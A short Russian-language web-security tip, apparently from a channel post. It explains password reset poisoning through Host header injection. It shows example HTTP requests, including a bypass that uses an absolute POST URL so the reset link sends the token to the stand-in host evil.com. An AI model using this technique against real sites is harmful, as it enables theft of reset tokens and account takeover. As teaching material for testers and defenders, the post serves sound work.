🔑 Техника обхода для Password poisoning



С помощью данной атаки вызывается функция сброса пароля, но доменное имя в URL ссылки для сброса будет указывать на сервер злоумышленника, что может привести к захвату учетной записи пользователя. Более подробное описание атаки по ссылке.



▫️Обычный запрос:



Запрос:

POST /password-reset?user=123 HTTP/1.1

Host: target.com



Ссылка для сброса:

https://target.com/reset-link=1g2f3guy23g



▫️Стандартный вид атаки (внедрение заголовка хоста):



Запрос:

POST /password-reset?user=123 HTTP/1.1

Host: evil.com



Ссылка для сброса:

none

Error 404 - request blocked



Видим, что запрос заблокирован. Пробуем обойти блокировку.



▫️Техника обхода:



Запрос:

POST https://target.com/password-reset?user=123 HTTP/1.1

Host: evil.com



Ссылка для сброса:

https://evil.com/reset-link=1g2f3guy23g



Обратите внимание, что при обходе мы использовали абсолютный URL-адрес в запросе POST. В таком случае заголовок Host следует полностью игнорировать. Однако некоторые серверные (back-end) системы все еще обрабатывают его, а front-end не блокирует внедрение заголовка хоста в случае абсолютных URL-адресов. По сути, это просто несогласованность.



В случае успеха, это может привести к серьезным ошибкам, вызывающим утечку токена сброса и, как следствие, захват учетной записи и повышение привилегий. Вот реальный отчет об ошибке, подробно описывающий последствия атаки.



#web